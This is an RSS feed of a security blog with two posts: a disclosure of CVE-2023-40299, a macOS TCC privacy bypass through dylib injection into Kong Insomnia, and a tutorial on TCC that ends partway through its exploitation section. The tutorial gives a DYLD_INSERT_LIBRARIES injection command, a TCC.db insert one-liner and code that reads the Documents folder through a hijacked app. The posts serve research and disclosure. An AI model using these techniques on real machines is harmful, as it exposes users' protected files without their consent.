<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>macos on 🥔</title>
    <link>https://www.angelystor.com/tags/macos/</link>
    <description>Recent content in macos on 🥔</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Mon, 02 Oct 2023 11:22:20 +0800</lastBuildDate><atom:link href="https://www.angelystor.com/tags/macos/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>CVE-2023-40299 TCC Bypass with Kong Insomnia in MacOS</title>
      <link>https://www.angelystor.com/posts/cve-2023-40299/</link>
      <pubDate>Mon, 02 Oct 2023 11:22:20 +0800</pubDate>
      
      <guid>https://www.angelystor.com/posts/cve-2023-40299/</guid>
      <description>Introduction TCC (Transparency, Consent and Control) is a mechanism in MacOS that helps restrict access to protected folders on a system. This helps a user make informed consent whenever an application seeks to access files in a folder (eg Desktop). A more indepth discussion about TCE can be found here.
From an attacker&amp;rsquo;s perspective, he would want to find out as much information that belongs to the victim when he manages to get a RAT (Remote Access Trojan) on the system.</description>
      <content:encoded><![CDATA[<h1 id="introduction">Introduction</h1>
<p>TCC (Transparency, Consent and Control) is a mechanism in MacOS that helps restrict access to protected folders on a system. This helps a user make informed consent whenever an application seeks to access files in a folder (eg Desktop). A more indepth discussion about TCE can be found <a href="https://www.angelystor.com/posts/macos_tcc/">here</a>.</p>
<p>From an attacker&rsquo;s perspective, he would want to find out as much information that belongs to the victim when he manages to get a RAT (Remote Access Trojan) on the system. TCC blocks this as it prevents important folders such as the user&rsquo;s Desktop, Documents and Downloads folders from being accessed by any process without permission. This blocking works even if the RAT is running as a root process. In order for an attacker to access those folders, he would either need to &ldquo;reveal&rdquo; himself to the user by sending such a prompt such as the one below:</p>
<p><img loading="lazy" src="/posts/cve-2023-40299/tcc-prompt.png" type="" alt=""  /></p>
<p>This could alert the user that something is up. Thus, if the attacker can borrow preexisting TCC permissions from another application, or pretend to be another application while requesting such permissions, the user might be more amenable to granting it and also not raising any alarms.</p>
<h1 id="hardened-runtime">Hardened Runtime</h1>
<p>To enhance the security of MacOS, the <a href="https://developer.apple.com/documentation/security/hardened_runtime?language=objc">Hardened Runtime</a> security feature was introduced in Mojave (MacOS 10.14). Enabling Hardened Runtime is necessary in order to get an application notarised. Notarisation is a key requirement for an application to be executed smoothly by users without unnecessary prompts and it gives users confidence that the app has been checked by Apple for malicious components.</p>
<p>However, due to the restrictiveness of Hardened Runtime, Apple allows developers to uncheck certain settings (or in other words, set different entitlements) that may make sense for their applications.</p>
<p>The 2 entitlements that are interesting to us in this case (and this CVE), are <code>com.apple.security.cs.allow-dyld-environment-variables</code> and <code>com.apple.security.cs.disable-library-validation</code>.</p>
<h2 id="comapplesecuritycsallow-dyld-environment-variables">com.apple.security.cs.allow-dyld-environment-variables</h2>
<p>This entitlement, if enabled, allows the DYLD environment variables to affect the libraries loaded by the application, in other words, dylib injection.</p>
<h2 id="comapplesecuritycsdisable-library-validation">com.apple.security.cs.disable-library-validation</h2>
<p>This entitlement, if enabled, allows any dylib to be loaded and executed by the application. In normal cases, only dylibs that are signed with the same certificate as the application can be loaded.</p>
<p>These 2 entitlements, if enabled at the same time, allow a third party to inject their own dylib into the process space of the victim application.</p>
<h1 id="putting-it-together">Putting it together</h1>
<p>In my <a href="https://www.angelystor.com/posts/macos_tcc/">previous post on TCE</a>, certain DYLD environment variables can allow arbitrary dylibs to be executed together with an application.</p>
<p>A way that we can execute our dylib together with an application is a command such as this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>DYLD_INSERT_LIBRARIES<span style="color:#f92672">=</span>libDylibTest.dylib  WeakDylibApp.app/Contents/MacOS/WeakDylibApp
</span></span></code></pre></div><p>This runs the WeakDylibApp while also loading our dylibtest.</p>
<h1 id="cve-2023-40299">CVE-2023-40299</h1>
<p>With all the preamble out of the way, it&rsquo;s time to discuss this CVE.</p>
<p><a href="https://insomnia.rest/">Kong Insomnia 2023.4.0</a> was distributed with the previously discussed entitlements enabled.</p>
<p><img loading="lazy" src="/posts/cve-2023-40299/insomnia-entitlements.png" type="" alt=""  /></p>
<p>This allows an attacker to load whatever dylib he wants in the same process as Insomnia, and also inheriting whatever TCC permissions that Insomnia has. As a trusted developer app, a user would generally have no issues in granting it if the application requests for it.</p>
<p>The video below describes the attack. An arbitrary dylib that enumerates the user&rsquo;s Documents folders is loaded together with Insomnia, this fires up a TCC prompt if no such permission was granted before, the user would generally be inclined to allow the operation since it is issued by Insomnia, an application that he installed.</p>

<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
  <iframe src="https://www.youtube.com/embed/NciinjUQYQw" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" allowfullscreen title="YouTube Video"></iframe>
</div>

<p>This was reported to Kong and fixed <a href="https://github.com/Kong/insomnia/pull/6217">here</a>.</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Understanding TCC</title>
      <link>https://www.angelystor.com/posts/macos_tcc/</link>
      <pubDate>Tue, 11 Jul 2023 11:22:20 +0800</pubDate>
      
      <guid>https://www.angelystor.com/posts/macos_tcc/</guid>
      <description>Introduction TCC (Transparency, Consent and Control), is built into MacOS as a means to protect sensitive user data from access by applications. The idea is such that no application can access such user data without the user&amp;rsquo;s permission (but asked only once).
TCC covers a wide spectrum of data within the OS. To find out what&amp;rsquo;s under TCC, you can go to System Preferences -&amp;gt; Privacy and Security.
Applications that appear in the list usually show up due to them having requested for such a permission.</description>
      <content:encoded><![CDATA[<h1 id="introduction">Introduction</h1>
<p>TCC (Transparency, Consent and Control), is built into MacOS as a means to protect sensitive user data from access by applications. The idea is such that no application can access such user data without the user&rsquo;s permission (but asked only once).</p>
<p>TCC covers a wide spectrum of data within the OS. To find out what&rsquo;s under TCC, you can go to System Preferences -&gt; Privacy and Security.</p>
<p><img loading="lazy" src="/posts/macos_tcc/tcc-permissions.png" type="" alt=""  /></p>
<p>Applications that appear in the list usually show up due to them having requested for such a permission. In some cases, the user can also preemptively add it into the category.</p>
<p><img loading="lazy" src="/posts/macos_tcc/tcc-photos.png" type="" alt=""  /></p>
<p>In the screenshot above, you can see that I&rsquo;ve never run an application that requested for permissions for my photos. There&rsquo;s also no mechanism for me to add such an application preemptively.</p>
<p><img loading="lazy" src="/posts/macos_tcc/tcc-media.png" type="" alt=""  /></p>
<p>In this screenshot however, while I have not used any application that requires media access, I can preemptively add such applications.</p>
<p><img loading="lazy" src="/posts/macos_tcc/tcc-files.png" type="" alt=""  /></p>
<p>TCC also protects certain folders in your home directory (~/<!-- raw HTML omitted -->) (and other system folders). It protects folders such as <code>~/Documents</code>, <code>~/Desktop</code>, <code>~/Downloads</code>. Any request to access those folders will be met with a TCC challenge. If the user allows it, then this request will be stored in a database and the application will be able to continue accessing it in the future.</p>
<p>In this screenshot, IntelliJ is given permissions to access <code>~/Documents</code> and its subfolders.</p>
<p>Whenever an application requests for TCC permissions, the user will be presented with a dialog similar to this:</p>
<p><img loading="lazy" src="/posts/macos_tcc/tcc-prompt.png" type="" alt=""  /></p>
<p>If the user allows this operation, the application will be allowed to go ahead.</p>
<h1 id="database">Database</h1>
<p>TCC stores requested permissions and their outcomes in 2 SQLite databases. The global access database is stored in <code>/Library/Application Support/com.apple.TCC/TCC.db</code>, and the per user database is stored in <code>~/Library/Application Support/com.apple.TCC/TCC.db</code>.</p>
<p>While the schemas for both databases are the same, more sensitive permissions such as FDA (Full Disk Access) and ScreenCapture live in the global access database, while access to protected folders (~/Documents, ~/Desktop etc) live in the user database.</p>
<p>You cannot write to the database directly due to SIP, but you can view it if you have root and full disk access.</p>
<p>To open either database, you can use SQLite3 in Terminal.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo sqlite3 /Library/Application<span style="color:#ae81ff">\ </span>Support/com.apple.TCC/TCC.db
</span></span></code></pre></div><p>To print out the schema of the database we can run <code>.schema</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">TABLE</span> <span style="color:#66d9ef">admin</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">key</span> TEXT <span style="color:#66d9ef">PRIMARY</span> <span style="color:#66d9ef">KEY</span> <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, value INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>
</span></span><span style="display:flex;"><span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">TABLE</span> policies (
</span></span><span style="display:flex;"><span>  id INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span> <span style="color:#66d9ef">PRIMARY</span> <span style="color:#66d9ef">KEY</span>, 
</span></span><span style="display:flex;"><span>  bundle_id TEXT <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  uuid TEXT <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  display TEXT <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">UNIQUE</span> (bundle_id, uuid)
</span></span><span style="display:flex;"><span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">TABLE</span> active_policy (
</span></span><span style="display:flex;"><span>  client TEXT <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  client_type INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  policy_id INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">PRIMARY</span> <span style="color:#66d9ef">KEY</span> (client, client_type), 
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">FOREIGN</span> <span style="color:#66d9ef">KEY</span> (policy_id) <span style="color:#66d9ef">REFERENCES</span> policies(id) <span style="color:#66d9ef">ON</span> <span style="color:#66d9ef">DELETE</span> <span style="color:#66d9ef">CASCADE</span> <span style="color:#66d9ef">ON</span> <span style="color:#66d9ef">UPDATE</span> <span style="color:#66d9ef">CASCADE</span>
</span></span><span style="display:flex;"><span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">TABLE</span> <span style="color:#66d9ef">access</span> (
</span></span><span style="display:flex;"><span>  service TEXT <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  client TEXT <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  client_type INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  auth_value INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  auth_reason INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  auth_version INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  csreq BLOB, 
</span></span><span style="display:flex;"><span>  policy_id INTEGER, 
</span></span><span style="display:flex;"><span>  indirect_object_identifier_type INTEGER, 
</span></span><span style="display:flex;"><span>  indirect_object_identifier TEXT <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span> <span style="color:#66d9ef">DEFAULT</span> <span style="color:#e6db74">&#39;UNUSED&#39;</span>, 
</span></span><span style="display:flex;"><span>  indirect_object_code_identity BLOB, 
</span></span><span style="display:flex;"><span>  flags INTEGER, 
</span></span><span style="display:flex;"><span>  last_modified INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span> <span style="color:#66d9ef">DEFAULT</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">CAST</span>(
</span></span><span style="display:flex;"><span>      strftime(<span style="color:#e6db74">&#39;%s&#39;</span>, <span style="color:#e6db74">&#39;now&#39;</span>) <span style="color:#66d9ef">AS</span> INTEGER
</span></span><span style="display:flex;"><span>    )
</span></span><span style="display:flex;"><span>  ), 
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">PRIMARY</span> <span style="color:#66d9ef">KEY</span> (
</span></span><span style="display:flex;"><span>    service, client, client_type, indirect_object_identifier
</span></span><span style="display:flex;"><span>  ), 
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">FOREIGN</span> <span style="color:#66d9ef">KEY</span> (policy_id) <span style="color:#66d9ef">REFERENCES</span> policies(id) <span style="color:#66d9ef">ON</span> <span style="color:#66d9ef">DELETE</span> <span style="color:#66d9ef">CASCADE</span> <span style="color:#66d9ef">ON</span> <span style="color:#66d9ef">UPDATE</span> <span style="color:#66d9ef">CASCADE</span>
</span></span><span style="display:flex;"><span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">TABLE</span> access_overrides (service TEXT <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span> <span style="color:#66d9ef">PRIMARY</span> <span style="color:#66d9ef">KEY</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">TABLE</span> expired (
</span></span><span style="display:flex;"><span>  service TEXT <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  client TEXT <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  client_type INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  csreq BLOB, 
</span></span><span style="display:flex;"><span>  last_modified INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span>, 
</span></span><span style="display:flex;"><span>  expired_at INTEGER <span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">NULL</span> <span style="color:#66d9ef">DEFAULT</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">CAST</span>(
</span></span><span style="display:flex;"><span>      strftime(<span style="color:#e6db74">&#39;%s&#39;</span>, <span style="color:#e6db74">&#39;now&#39;</span>) <span style="color:#66d9ef">AS</span> INTEGER
</span></span><span style="display:flex;"><span>    )
</span></span><span style="display:flex;"><span>  ), 
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">PRIMARY</span> <span style="color:#66d9ef">KEY</span> (service, client, client_type)
</span></span><span style="display:flex;"><span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">INDEX</span> active_policy_id <span style="color:#66d9ef">ON</span> active_policy(policy_id);
</span></span></code></pre></div><h2 id="quality-of-life-sql-commands">Quality of life SQL commands</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># display the binary data from the table</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> service,client,quote<span style="color:#f92672">(</span>csreq<span style="color:#f92672">)</span> from access;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># update access field</span>
</span></span><span style="display:flex;"><span>update access set csreq <span style="color:#f92672">=</span> X<span style="color:#e6db74">&#39;BINARY_DATA&#39;</span> where last_modified <span style="color:#f92672">=</span> SOME_VALUE
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># one liner</span>
</span></span><span style="display:flex;"><span>sqlite3 ~//Library/Application<span style="color:#ae81ff">\ </span>Support/com.apple.TCC/TCC.db <span style="color:#e6db74">&#34;insert into access(service, client, client_type, auth_value, auth_reason, auth_version, csreq, indirect_object_identifier, flags, last_modified) values (&#39;kTCCServiceSystemPolicyDesktopFolder&#39;, &#39;FULL_PATH_OF_BINARY&#39;, 1, 2, 2, 1, X&#39;FADE_BINARY&#39;, &#39;UNUSED&#39;, 0, SOME_VALUE);&#34;</span>
</span></span></code></pre></div><h1 id="commandline-utilities">Commandline utilities</h1>
<p>TCC has 1 built in binary to manipulate the database: <code>tccutil</code>.</p>
<p>At the moment there is only 1 command, <code>reset</code>. We can use this to reset the entire TCC database or a certain category.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># resets all permissions the category AddressBook</span>
</span></span><span style="display:flex;"><span>tccutil reset AddressBook
</span></span><span style="display:flex;"><span><span style="color:#75715e"># resets all entries for the application</span>
</span></span><span style="display:flex;"><span>tccutil reset All com.apple.Terminal
</span></span><span style="display:flex;"><span><span style="color:#75715e"># resets everything</span>
</span></span><span style="display:flex;"><span>tccutil reset All
</span></span></code></pre></div><h1 id="ways-to-get-approved">Ways to get approved</h1>
<h2 id="trick-the-user">Trick the user</h2>
<p>As always, the user is the weakest link. Many users don&rsquo;t understand TCC and the intent of the prompts. With the right pretext, it&rsquo;s fairly easy to get the user to approve of the access. However, every alert box to the user is basically broadcasting the attacker&rsquo;s presence. It just takes a shrewd user to raise an alert and then the game is up. Thus a higher level of play would be to hijack TCC permissions for preexisting applications so the attacker&rsquo;s presence in the system would not be compromised.</p>
<h2 id="hijack-applications-that-already-have-this-permission">Hijack applications that already have this permission</h2>
<p>TCC permissions are derived from the application being run and the parent. For example, if iTerm is given permissions for Full Disk Access (FDA), the child process <code>bash</code> (which is executed by iTerm), will be able to execute <code>touch</code> on sensitive files such as <code>~/Library/Application Support/com.apple.TCC/TCC.db</code>.</p>
<h3 id="dylib-injection">Dylib injection</h3>
<p>Dylib (or DLL in Windows parlance) injection is one way we can bypass TCC. As TCC permissions are based on the calling application, if we manage to inject our dylib into the application, we will be able to inherit whatever permissions it has.</p>
<p>There are generally 2 ways to do injection, the first is via the injection of DYLD variables, and the second is via dylib hijacking.</p>
<h4 id="dyld-variables">DYLD variables</h4>
<p>DYLD variables are variables such as the ones below:</p>
<ul>
<li>DYLD_INSERT_LIBRARIES</li>
<li>DYLD_LIBRARY_PATH</li>
<li>DYLD_FALLBACK_LIBRARY_PATH</li>
<li><a href="https://www.sektioneins.de/blog/15-07-07-dyld_print_to_file_lpe.html">DYLD_PRINT_TO_FILE</a></li>
</ul>
<p><code>DYLD_INSERT_LIBRARIES</code> is of particular interest because of this:</p>
<blockquote>
<p>This is a colon separated list of additional dynamic libraries to load before the ones specified in the program. If instead, your goal is to substitute a library that would normally be loaded, use DYLD_LIBRARY_PATH or DYLD_FRAMEWORK_PATH instead.</p>
</blockquote>
<p>This allows you to insert your own dylib without affecting the flow of the application or overwriting anything that the application might need.</p>
<p>Due to this, Apple has made a bunch of protections to prevent this vector of attack.</p>
<ul>
<li><code>suid</code> binaries</li>
<li>presence of <code>__RESTRICT__</code> segment in Mach-O</li>
<li>binary has certain entitlements such as <a href="https://developer.apple.com/documentation/security/hardened_runtime?language=objc">Hardened Runtime</a></li>
</ul>
<p>Hardened runtime is a MacOS entitlement that protects the runtime integrity of the application from code injection, dylib hijacking and memory tampering. It can be enabled in Xcode with the following steps:</p>
<p><img loading="lazy" src="/posts/macos_tcc/xcode-capabilities.png" type="" alt=""  /></p>
<ul>
<li>Select the appropriate application target and click on Signing &amp; Capabilities.</li>
<li>Click on the &ldquo;+ capabilities&rdquo; button.</li>
<li>Select &ldquo;Hardened Runtime&rdquo; from the window that appears.</li>
</ul>
<p><img loading="lazy" src="/posts/macos_tcc/xcode-hardened-runtime.png" type="" alt=""  /></p>
<p>The Hardened Runtime section appears and the developer can select any exclusions to the list. Once he builds the application, it will be set with this entitlement.</p>
<p>To check the flags of the application, build it and execute</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>codesign -dv --entitlements :- &lt;application path&gt;
</span></span></code></pre></div><p><img loading="lazy" src="/posts/macos_tcc/entitlements1.png" type="" alt=""  /></p>
<p>The output shown above is what you get without Hardened Runtime. The <code>flags=0x2(adhoc)</code> value show that the application was compiled with an adhoc flag.</p>
<p><img loading="lazy" src="/posts/macos_tcc/entitlements2.png" type="" alt=""  /></p>
<p>The picture above shows the output when there is Hardened Runtime set up. The &ldquo;runtime&rdquo; attribute in <code>flags=0x10002(adhoc,runtime)</code> gives it away.</p>
<p>Applications with Hardened Runtime are not injectable via DYLD variables.</p>
<p>However, some of them could have exclusions. Recall in the previous Xcode image showing Hardened Runtime settings. The developer could have selected &ldquo;Allow DYLD Environment Variables&rdquo; and &ldquo;Disable Library Validation&rdquo;. This would open up the application for DYLD injection even though Hardened Runtime is active.</p>
<h5 id="create-example-dylib">Create example dylib</h5>
<p>We can create a simple dylib from a single C file or using Xcode. Since I am a script kiddie, I like to use Xcode.</p>
<p>In Xcode, go to File -&gt; New -&gt; Project and select Library.</p>
<p><img loading="lazy" src="/posts/macos_tcc/xcode-new-project.png" type="" alt=""  /></p>
<p>Go through the dialog boxes and Xcode will create a new project that compiles into a dylib.</p>
<p>This is a simple snippet that defines a constructor function that will be called when the dylib is loaded. If we see this printed out, this means our dylib file was executed.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-objc" data-lang="objc"><span style="display:flex;"><span><span style="color:#75715e">#import &#34;DylibTest.h&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">@implementation</span> <span style="color:#a6e22e">DylibTest</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>__attribute__((constructor))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> constructor(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    printf(<span style="color:#e6db74">&#34;potato constructor %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, argv[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">@end</span>
</span></span></code></pre></div><p>In Xcode, whenever you build, the build artefacts will be placed in a random directory. In ages long past, Xcode used to build in a subdirectory of the project, but this is no longer so. To build production versions, you&rsquo;ll need to:</p>
<ol>
<li>Select the Product menu.</li>
<li>Select Archive.</li>
<li>A window called Archives will appear after your program has built.</li>
<li>Click Distribute Content.</li>
<li>Select Archive in order to get a dialog to save your program to a folder.</li>
</ol>
<p>It&rsquo;s quite a lot of manual steps when you&rsquo;re doing test builds, so what I do is just Build, and then select &ldquo;Show Build Folder in Finder&rdquo; to locate the built artefacts and do whatever I need with them.</p>
<h5 id="injecting-into-a-test-program">Injecting into a test program</h5>
<p>It&rsquo;s now time to create a test program to illustrate DYLD injection.</p>
<p>In Xcode, create a new project and select Application. Make sure Hardened Runtime is not set and select Build.</p>
<p>Test the attributes of the compiled application using <code>codesign -dv --entitlements :- &lt;path to binary&gt;</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Identifier<span style="color:#f92672">=</span>com.potato.WeakDylibApp
</span></span><span style="display:flex;"><span>Format<span style="color:#f92672">=</span>app bundle with Mach-O thin <span style="color:#f92672">(</span>arm64<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>CodeDirectory v<span style="color:#f92672">=</span><span style="color:#ae81ff">20500</span> size<span style="color:#f92672">=</span><span style="color:#ae81ff">792</span> **flags<span style="color:#f92672">=</span>0x2<span style="color:#f92672">(</span>adhoc<span style="color:#f92672">)</span>** hashes<span style="color:#f92672">=</span>14+7 location<span style="color:#f92672">=</span>embedded
</span></span><span style="display:flex;"><span>Signature<span style="color:#f92672">=</span>adhoc
</span></span><span style="display:flex;"><span>Info.plist entries<span style="color:#f92672">=</span><span style="color:#ae81ff">21</span>
</span></span><span style="display:flex;"><span>TeamIdentifier<span style="color:#f92672">=</span>not set
</span></span><span style="display:flex;"><span>Runtime Version<span style="color:#f92672">=</span>13.3.0
</span></span><span style="display:flex;"><span>Sealed Resources version<span style="color:#f92672">=</span><span style="color:#ae81ff">2</span> rules<span style="color:#f92672">=</span><span style="color:#ae81ff">13</span> files<span style="color:#f92672">=</span><span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>Internal requirements count<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> size<span style="color:#f92672">=</span><span style="color:#ae81ff">12</span>
</span></span><span style="display:flex;"><span>Warning: Specifying <span style="color:#e6db74">&#39;:&#39;</span> in the path is deprecated and will not work in a future release
</span></span><span style="display:flex;"><span>&lt;?xml version<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1.0&#34;</span> encoding<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>?&gt;&lt;!DOCTYPE plist PUBLIC <span style="color:#e6db74">&#34;-//Apple//DTD PLIST 1.0//EN&#34;</span> <span style="color:#e6db74">&#34;https://www.apple.com/DTDs/PropertyList-1.0.dtd&#34;</span>&gt;&lt;plist version<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;1.0&#34;</span>&gt;&lt;dict&gt;&lt;key&gt;com.apple.security.files.user-selected.read-only&lt;/key&gt;&lt;true/&gt;&lt;key&gt;com.apple.security.get-task-allow&lt;/key&gt;&lt;true/&gt;&lt;/dict&gt;&lt;/plist&gt;
</span></span></code></pre></div><p>The <code>flags</code> section in the <code>CodeDirectory</code> line must not include &ldquo;runtime&rdquo;.</p>
<p>To inject, we can run this command in terminal:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>DYLD_INSERT_LIBRARIES<span style="color:#f92672">=</span>libDylibTest.dylib  WeakDylibApp.app/Contents/MacOS/WeakDylibApp
</span></span></code></pre></div><p>This will execute the application and there will be a printout showing that the example dylib that we created earlier has loaded.</p>
<p><img loading="lazy" src="/posts/macos_tcc/injection-execution.png" type="" alt=""  /></p>
<h5 id="exploitation">Exploitation</h5>
<p>How could we piece this into a useful exploit? Earlier, we went through how TCC permissions are based on the application itself. Therefore, if we manage to find such a vulnerability in an application, we can inject our library in to borrow its rights or request for new rights through that application.</p>
<p>Let&rsquo;s go back to our test program, we&rsquo;ll call it <code>WeakDylibApp</code> for ease of reference. <code>WeakDylibApp</code> has been compiled with no Hardened Runtime, thus making it vulnerable to this vector of attack. We can borrow it to request rights to read the user&rsquo;s Documents folder.</p>
<p>In our dylib project, <code>DylibTest</code>, we can add in some code that reads the Documents folder and writes a file into that folder.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-objc" data-lang="objc"><span style="display:flex;"><span>+ (<span style="color:#66d9ef">void</span>)<span style="color:#a6e22e">iterateDocumentsFolder</span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    NSArray <span style="color:#f92672">*</span>paths <span style="color:#f92672">=</span> NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    NSString <span style="color:#f92672">*</span>sourcePath <span style="color:#f92672">=</span> [paths objectAtIndex:<span style="color:#ae81ff">0</span>];
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    NSArray<span style="color:#f92672">*</span> dirs <span style="color:#f92672">=</span> [[NSFileManager defaultManager] contentsOfDirectoryAtPath:sourcePath
</span></span><span style="display:flex;"><span>                                                                        error:NULL];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    NSLog(<span style="color:#e6db74">@&#34;%@&#34;</span>, dirs);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    NSString <span style="color:#f92672">*</span>fileToWrite <span style="color:#f92672">=</span> [NSString stringWithFormat:<span style="color:#e6db74">@&#34;%@/test.txt&#34;</span>, sourcePath];
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    [dirs writeToFile:fileToWrite atomically:YES];
</span></span><span style="display:flex;"><span>}
